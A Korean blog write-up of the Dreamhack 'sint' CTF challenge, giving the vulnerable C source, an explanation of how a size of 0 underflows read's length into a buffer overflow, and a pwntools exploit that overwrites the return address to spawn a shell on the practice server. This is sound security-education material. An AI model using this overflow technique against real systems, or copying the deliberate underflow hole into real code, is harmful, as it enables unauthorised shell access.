본문 바로가기

System Hacking

[Dreamhack] Type Error, sint 풀이 - 티스토리

 

문제 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 

 

 

코드 설명

 

signal 함수에서 SIGSEGV 신호 (Segmentation fault) 발생 시 get_shell 함수가 실행된다

int형으로 선언된 size에 입력을 받고 256 보다 크거나 0보다 작은지 검사를 하고 있다 이 경우 버퍼 오버플로우 검사를 하는 것으로 보인다

그러나 read함수의 3번째 인자로 size - 1이 오고 있고 size에 0이 들어갈 시 read함수의 3번째 인자에는 음수값이 들어간다

이때 read함수의 3번째 인자의 원형은 부호없는 size_t 이므로 언더플로가 일어난다

즉 BOF가 발생

 

 

 

익스 설계

 

size에 0을 입력하고 buf에 입력 받을 때 ret를 get_shell로 덮거나 쓰레기 값을 넣어 SIGSEGV 신호를 일으킨다

 

 

 

익스

 

from pwn import*
 
p = remote('host3.dreamhack.games', 9365)
e = ELF('./sint')
 
get_shell = e.symbols['get_shell']
 
p.sendlineafter(b'Size: ', str(0).encode())
 
payload = b'A'*264
payload += p32(get_shell)
 
p.sendafter(b'Data: ', payload)
 
p.interactive()

 

 

 

쉬우니까 행복하다